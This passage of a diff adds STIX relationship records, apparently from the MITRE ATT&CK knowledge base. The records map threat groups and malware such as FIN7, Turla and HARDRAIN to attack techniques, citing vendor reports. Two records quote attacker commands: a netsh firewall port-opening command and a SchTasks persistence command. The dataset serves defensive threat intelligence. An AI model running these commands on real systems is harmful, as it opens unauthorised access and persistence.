Years-Long Espionage Campaign Targets Minority Activists. Retrieved February 10, 2016.", + "url": "http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--bb3c1098-d654-4620-bf40-694386d28921", + "relationship_type": "uses", + "target_ref": "attack-pattern--3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-04-25T12:37:45.686Z", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--be7a1288-68fd-4125-969b-bd123865c6b1", + "external_references": [ + { + "source_name": "Rancor Unit42 June 2018", + "description": "Ash, B., et al. (2018, June 26). RANCOR: Targeted Attacks in South East Asia Using PLAINTEE and DDKONG Malware Families. Retrieved July 2, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/" + } + ], + "source_ref": "intrusion-set--f40eb8ce-2a74-4e56-89a1-227021410142", + "relationship_type": "uses", + "target_ref": "tool--0a68f1f1-da74-4d28-8d9a-696c082706cc" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[FIN7](https://attack.mitre.org/groups/G0046) has performed C2 using DNS via A, OPT, and TXT records.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--ca2a22df-7f99-497a-8f51-cf0180308305", + "external_references": [ + { + "source_name": "FireEye FIN7 Aug 2018", + "description": "Carr, N., et al. (2018, August 01). On the Hunt for FIN7: Pursuing an Enigmatic and Evasive Global Criminal Operation. Retrieved August 23, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html" + } + ], + "modified": "2019-06-30T23:13:18.384Z", + "source_ref": "intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc", + "relationship_type": "uses", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Some [InnaputRAT](https://attack.mitre.org/software/S0259) variants create a new Windows service to establish persistence.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--c0584f8c-e358-4058-aafc-130bfb54dc88", + "external_references": [ + { + "source_name": "ASERT InnaputRAT April 2018", + "description": "ASERT Team. (2018, April 04). Innaput Actors Utilize Remote Access Trojan Since 2016, Presumably Targeting Victim Files. Retrieved July 9, 2018.", + "url": "https://asert.arbornetworks.com/innaput-actors-utilize-remote-access-trojan-since-2016-presumably-targeting-victim-files/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--c8b6cc43-ce61-42ae-87f3-a5f10526f952", + "relationship_type": "uses", + "target_ref": "attack-pattern--478aa214-2ca7-4ec0-9978-18798e514790" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Dok](https://attack.mitre.org/software/S0281) downloads and installs Tor via homebrew.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--a9bf9268-1c45-4293-a5c2-c493556ad546", + "external_references": [ + { + "source_name": "objsee mac malware 2017", + "description": "Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.", + "url": "https://objective-see.com/blog/blog_0x25.html" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--f36b2598-515f-4345-84e5-5ccde253edbe", + "relationship_type": "uses", + "target_ref": "attack-pattern--7d751199-05fa-4a72-920f-85df4506c76c" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Lazarus Group](https://attack.mitre.org/groups/G0032) malware IndiaIndia saves information gathered about the victim to a file that is saved in the %TEMP% directory, then compressed, encrypted, and uploaded to a C2 server.", + "type": "relationship", + "created": "2017-05-31T21:33:27.068Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--5f055076-79d1-44e8-95cb-43fc515df2f6", + "external_references": [ + { + "source_name": "Novetta Blockbuster", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.", + "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf" + }, + { + "source_name": "Novetta Blockbuster Loaders", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Loaders, Installers and Uninstallers Report. Retrieved March 2, 2016.", + "url": "https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Loaders-Installers-and-Uninstallers-Report.pdf" + } + ], + "modified": "2019-04-29T18:13:08.433Z", + "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", + "relationship_type": "uses", + "target_ref": "attack-pattern--7dd95ff6-712e-4056-9626-312ea4ab4c5e" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "A [Turla](https://attack.mitre.org/groups/G0010) JavaScript backdoor has used Google Apps Script as its C2 server.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--7fcd4b9b-87e3-4e8c-abde-84639c85467f", + "external_references": [ + { + "source_name": "ESET Turla Mosquito Jan 2018", + "description": "ESET, et al. (2018, January). Diplomats in Eastern Europe bitten by a Turla mosquito. Retrieved July 3, 2018.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2018/01/ESET_Turla_Mosquito.pdf" + }, + { + "source_name": "ESET Turla Mosquito May 2018", + "description": "ESET Research. (2018, May 22). Turla Mosquito: A shift towards more generic tools. Retrieved July 3, 2018.", + "url": "https://www.welivesecurity.com/2018/05/22/turla-mosquito-shift-towards-generic-tools/" + } + ], + "modified": "2019-07-14T21:04:44.993Z", + "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6", + "relationship_type": "uses", + "target_ref": "attack-pattern--830c9528-df21-472c-8c14-a036bf17d665" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Strider](https://attack.mitre.org/groups/G0041) has used local servers with both local network and Internet access to act as internal proxy nodes to exfiltrate data from other parts of the network without direct Internet access.", + "type": "relationship", + "created": "2017-05-31T21:33:27.077Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--6476b9fe-dc7f-4578-a39d-beebc8390af2", + "external_references": [ + { + "source_name": "Kaspersky ProjectSauron Blog", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, August 8). ProjectSauron: top level cyber-espionage platform covertly extracts encrypted government comms. Retrieved August 17, 2016.", + "url": "https://securelist.com/faq-the-projectsauron-apt/75533/" + } + ], + "modified": "2019-03-25T16:59:10.933Z", + "source_ref": "intrusion-set--277d2f87-2ae5-4730-a3aa-50c1fdff9656", + "relationship_type": "uses", + "target_ref": "attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Turla](https://attack.mitre.org/groups/G0010) has used Metasploit to perform reflective DLL injection in order to escalate privileges. [Turla](https://attack.mitre.org/groups/G0010) has also used [PowerSploit](https://attack.mitre.org/software/S0194)'s Invoke-ReflectivePEInjection.ps1 to reflectively load a PowerShell payload into a random process on the victim system.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--f3055d9f-986e-4202-bb13-c956069bb43f", + "external_references": [ + { + "source_name": "ESET Turla Mosquito May 2018", + "description": "ESET Research. (2018, May 22). Turla Mosquito: A shift towards more generic tools. Retrieved July 3, 2018.", + "url": "https://www.welivesecurity.com/2018/05/22/turla-mosquito-shift-towards-generic-tools/" + }, + { + "source_name": "Github Rapid7 Meterpreter Elevate", + "description": "Rapid7. (2013, November 26). meterpreter/source/extensions/priv/server/elevate/. Retrieved July 8, 2018.", + "url": "https://github.com/rapid7/meterpreter/tree/master/source/extensions/priv/server/elevate" + }, + { + "source_name": "ESET Turla PowerShell May 2019", + "description": "Faou, M. and Dumont R.. (2019, May 29). A dive into Turla PowerShell usage. Retrieved June 14, 2019.", + "url": "https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/" + } + ], + "modified": "2019-07-14T21:04:44.969Z", + "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6", + "relationship_type": "uses", + "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "The [Poseidon Group](https://attack.mitre.org/groups/G0033)'s Information Gathering Tool (IGT) includes PowerShell components.", + "type": "relationship", + "created": "2017-05-31T21:33:27.070Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--e2ce90d2-7470-4f2d-a86c-f429b934ab35", + "external_references": [ + { + "source_name": "Kaspersky Poseidon Group", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2016, February 9). Poseidon Group: a Targeted Attack Boutique specializing in global cyber-espionage. Retrieved March 16, 2016.", + "url": "https://securelist.com/poseidon-group-a-targeted-attack-boutique-specializing-in-global-cyber-espionage/73673/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "intrusion-set--7ecc3b4f-5cdb-457e-b55a-df376b359446", + "relationship_type": "uses", + "target_ref": "attack-pattern--f4882e23-8aa7-4b12-b28a-b349c12ee9e0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-06-28T15:24:32.380Z", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--80d72d09-c1a4-4735-b85a-28bfc19ef8b9", + "external_references": [ + { + "source_name": "PWC Cloud Hopper Technical Annex April 2017", + "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.", + "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf" + } + ], + "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f", + "relationship_type": "uses", + "target_ref": "tool--13cd9151-83b7-410d-9f98-25d0f0d1d80d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[FruitFly](https://attack.mitre.org/software/S0277) persists via a Launch Agent.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--b01697d1-816f-43bd-bc65-34f92c3e08cf", + "external_references": [ + { + "source_name": "objsee mac malware 2017", + "description": "Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.", + "url": "https://objective-see.com/blog/blog_0x25.html" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--4a98e44a-bd52-461e-af1e-a4457de87a36", + "relationship_type": "uses", + "target_ref": "attack-pattern--dd901512-6e37-4155-943b-453e3777b125" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[HARDRAIN](https://attack.mitre.org/software/S0246) uses the command cmd.exe /c netsh firewall add portopening TCP 443 \"adp\" and makes the victim machine function as a proxy server.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--74bb0ae9-589c-4479-9bd5-b9a71a20e82d", + "external_references": [ + { + "source_name": "US-CERT HARDRAIN March 2018", + "description": "US-CERT. (2018, February 05). Malware Analysis Report (MAR) - 10135536-F. Retrieved June 11, 2018.", + "url": "https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-F.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--bd0536d7-b081-43ae-a773-cfb057c5b988", + "relationship_type": "uses", + "target_ref": "attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Threat Group-3390](https://attack.mitre.org/groups/G0027) has performed DLL search order hijacking to execute their payload.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--e4e2d35b-83fb-4515-b531-576acb02e1a5", + "external_references": [ + { + "source_name": "Nccgroup Emissary Panda May 2018", + "description": "Pantazopoulos, N., Henry T. (2018, May 18). Emissary Panda \u2013 A potential new malicious tool. Retrieved June 25, 2018.", + "url": "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/may/emissary-panda-a-potential-new-malicious-tool/" + } + ], + "modified": "2019-07-14T21:15:54.946Z", + "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c", + "relationship_type": "uses", + "target_ref": "attack-pattern--46944654-fcc1-4f63-9dad-628102376586" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "The [BlackEnergy](https://attack.mitre.org/software/S0089) 3 variant drops its main DLL component and then creates a .lnk shortcut to that file in the startup folder.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--cd2a7854-1339-4f40-8ba1-be032dc5249e", + "external_references": [ + { + "source_name": "F-Secure BlackEnergy 2014", + "description": "F-Secure Labs. (2014). BlackEnergy & Quedagh: The convergence of crimeware and APT attacks. Retrieved March 24, 2016.", + "url": "https://www.f-secure.com/documents/996508/1030745/blackenergy_whitepaper.pdf" + } + ], + "modified": "2019-06-24T17:08:51.631Z", + "source_ref": "malware--54cc1d4f-5c53-4f0e-9ef5-11b4998e82e4", + "relationship_type": "uses", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[SEASHARPEE](https://attack.mitre.org/software/S0185) can download remote files onto victims.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--04ecc705-0027-4dda-85fe-d6ce028ef05e", + "external_references": [ + { + "source_name": "FireEye APT34 Webinar Dec 2017", + "description": "Davis, S. and Caban, D. (2017, December 19). APT34 - New Targeted Attack in the Middle East. Retrieved December 20, 2017.", + "url": "https://www.brighttalk.com/webcast/10703/296317/apt34-new-targeted-attack-in-the-middle-east" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--0998045d-f96e-4284-95ce-3c8219707486", + "relationship_type": "uses", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Trojan.Karagany](https://attack.mitre.org/software/S0094) can use tasklist to collect a list of running tasks.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--51a03c8a-1983-4bdd-b326-78ec67f86f06", + "external_references": [ + { + "source_name": "Symantec Dragonfly", + "description": "Symantec Security Response. (2014, July 7). Dragonfly: Cyberespionage Attacks Against Energy Suppliers. Retrieved April 8, 2016.", + "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/Dragonfly_Threat_Against_Western_Energy_Suppliers.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--82cb34ba-02b5-432b-b2d2-07f55cbf674d", + "relationship_type": "uses", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[NETEAGLE](https://attack.mitre.org/software/S0034) can send process listings over the C2 channel.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--16043223-3846-4138-93d0-671339ba3646", + "external_references": [ + { + "source_name": "FireEye APT30", + "description": "FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.", + "url": "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--53cf6cc4-65aa-445a-bcf8-c3d296f8a7a2", + "relationship_type": "uses", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[ZLib](https://attack.mitre.org/software/S0086) has the ability to execute shell commands.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--98a9bef7-8aff-4cbb-958b-14cb72954b8a", + "external_references": [ + { + "source_name": "Cylance Dust Storm", + "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017.", + "url": "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--166c0eca-02fd-424a-92c0-6b5106994d31", + "relationship_type": "uses", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Some [Orz](https://attack.mitre.org/software/S0229) versions have an embedded DLL known as MockDll that uses [Process Hollowing](https://attack.mitre.org/techniques/T1093) and regsvr32 to execute another payload.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--18d4782f-0e33-4bf5-b0a2-8dc04cacb617", + "external_references": [ + { + "source_name": "Proofpoint Leviathan Oct 2017", + "description": "Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018.", + "url": "https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--06d735e7-1db1-4dbe-ab4b-acbe419f902b", + "relationship_type": "uses", + "target_ref": "attack-pattern--68f7e3a1-f09f-4164-9a62-16b648a0dd5a" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[PlugX](https://attack.mitre.org/software/S0013) can use the Windows API function CreateProcess to execute another process.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--deafd60c-af1a-40eb-bc43-287b37553fae", + "external_references": [ + { + "source_name": "Lastline PlugX Analysis", + "description": "Vasilenko, R. (2013, December 17). An Analysis of PlugX Malware. Retrieved November 24, 2015.", + "url": "http://labs.lastline.com/an-analysis-of-plugx" + } + ], + "modified": "2019-04-19T15:08:15.793Z", + "source_ref": "malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd", + "relationship_type": "uses", + "target_ref": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-24T19:18:26.270Z", + "type": "relationship", + "id": "relationship--ef2b823b-2fb1-442a-9d91-cf088242f6a6", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2017-05-31T21:33:27.031Z", + "source_ref": "course-of-action--cfd2cd3b-93e7-4b3e-ab46-f8bcafdbdfcf", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--0a5231ec-41af-4a35-83d0-6bdf11f28c65" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "NavRAT is linked to [APT37](https://attack.mitre.org/groups/G0067) with medium confidence.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--e6f81b9c-8fda-49f5-a944-265f5bad82ba", + "external_references": [ + { + "source_name": "Talos NavRAT May 2018", + "description": "Mercer, W., Rascagneres, P. (2018, May 31). NavRAT Uses US-North Korea Summit As Decoy For Attacks In South Korea. Retrieved June 11, 2018.", + "url": "https://blog.talosintelligence.com/2018/05/navrat.html" + } + ], + "modified": "2019-07-08T14:33:16.271Z", + "source_ref": "intrusion-set--4a2ce82e-1a74-468a-a6fb-bbead541383c", + "relationship_type": "uses", + "target_ref": "malware--53a42597-1974-4b8e-84fd-3675e8992053" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-25T11:36:17.895Z", + "type": "relationship", + "id": "relationship--1e91cd45-a725-4965-abe3-700694374432", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2017-05-31T21:33:27.018Z", + "source_ref": "course-of-action--95ddb356-7ba0-4bd9-a889-247262b8946f", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--0f20e3cb-245b-4a61-8a91-2d93f7cb0e9b" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Remsec](https://attack.mitre.org/software/S0125) can obtain the OS version information, computer name, processor architecture, machine role, and OS edition.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--9b36e877-e637-46b8-bdf1-def74c977472", + "external_references": [ + { + "source_name": "Kaspersky ProjectSauron Technical Analysis", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, August 9). The ProjectSauron APT. Technical Analysis. Retrieved August 17, 2016.", + "url": "https://securelist.com/files/2016/07/The-ProjectSauron-APT_Technical_Analysis_KL.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8", + "relationship_type": "uses", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Gold Dragon](https://attack.mitre.org/software/S0249) collects the endpoint victim's username and uses it as a basis for downloading additional components from the C2 server.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--41634cea-6236-4013-bda3-345bcba4f40f", + "external_references": [ + { + "source_name": "McAfee Gold Dragon", + "description": "Sherstobitoff, R., Saavedra-Morales, J. (2018, February 02). Gold Dragon Widens Olympics Malware Attacks, Gains Permanent Presence on Victims\u2019 Systems. Retrieved June 6, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--b9799466-9dd7-4098-b2d6-f999ce50b9a8", + "relationship_type": "uses", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[CosmicDuke](https://attack.mitre.org/software/S0050) exfiltrates collected files automatically over FTP to remote servers.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--d8ac067b-f246-40bb-98bd-fcff74092139", + "external_references": [ + { + "source_name": "F-Secure Cosmicduke", + "description": "F-Secure Labs. (2014, July). COSMICDUKE Cosmu with a twist of MiniDuke. Retrieved July 3, 2014.", + "url": "https://www.f-secure.com/documents/996508/1030745/cosmicduke_whitepaper.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--2eb9b131-d333-4a48-9eb4-d8dec46c19ee", + "relationship_type": "uses", + "target_ref": "attack-pattern--774a3188-6ba9-4dc4-879d-d54ee48a5ce9" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Most strings in [USBStealer](https://attack.mitre.org/software/S0136) are encrypted using 3DES and XOR and reversed.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--016dc21c-ade9-43cc-9d88-a0c4c0891ccc", + "external_references": [ + { + "source_name": "ESET Sednit USBStealer 2014", + "description": "Calvet, J. (2014, November 11). Sednit Espionage Group Attacking Air-Gapped Networks. Retrieved January 4, 2017.", + "url": "http://www.welivesecurity.com/2014/11/11/sednit-espionage-group-attacking-air-gapped-networks/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--af2ad3b7-ab6a-4807-91fd-51bcaff9acbb", + "relationship_type": "uses", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-27T00:09:37.097Z", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--5377a247-28a9-4dc1-957f-78980504a5a3", + "external_references": [ + { + "source_name": "Sofacy DealersChoice", + "description": "Falcone, R. (2018, March 15). Sofacy Uses DealersChoice to Target European Government Agency. Retrieved June 4, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/03/unit42-sofacy-uses-dealerschoice-target-european-government-agency/" + } + ], + "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", + "relationship_type": "uses", + "target_ref": "malware--8f460983-1bbb-4e7e-8094-f0b5e720f658" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[PowerSploit](https://attack.mitre.org/software/S0194)'s Get-ProcessTokenPrivilege Privesc-PowerUp module can enumerate privileges for a given process.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--c1cbaa0f-59d2-4b49-a91f-c21bff7ca009", + "external_references": [ + { + "source_name": "GitHub PowerSploit May 2012", + "description": "PowerShellMafia. (2012, May 26). PowerSploit - A PowerShell Post-Exploitation Framework. Retrieved February 6, 2018.", + "url": "https://github.com/PowerShellMafia/PowerSploit" + }, + { + "source_name": "PowerSploit Documentation", + "description": "PowerSploit. (n.d.). PowerSploit. Retrieved February 6, 2018.", + "url": "http://powersploit.readthedocs.io" + } + ], + "modified": "2019-04-24T23:43:08.037Z", + "source_ref": "tool--13cd9151-83b7-410d-9f98-25d0f0d1d80d", + "relationship_type": "uses", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[yty](https://attack.mitre.org/software/S0248) establishes persistence by creating a scheduled task with the command SchTasks /Create /SC DAILY /TN BigData /TR \u201c + path_file + \u201c/ST 09:30\u201c.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--1ebc312e-68a4-4119-94c5-79897a5bf5b4", + "external_references": [ + { + "source_name": "ASERT Donot March 2018", + "description": "Schwarz, D., Sopko J. (2018, March 08). Donot Team Leverages New Modular Malware Framework in South Asia. Retrieved June 11, 2018.", + "url": "https://www.arbornetworks.com/blog/asert/donot-team-leverages-new-modular-malware-framework-south-asia/" + } + ], + "modified": "2019-04-25T00:09:23.085Z", + "source_ref": "malware--0817aaf2-afea-4c32-9285-4dcd1df5bf14", + "relationship_type": "uses", + "target_ref": "attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9" + 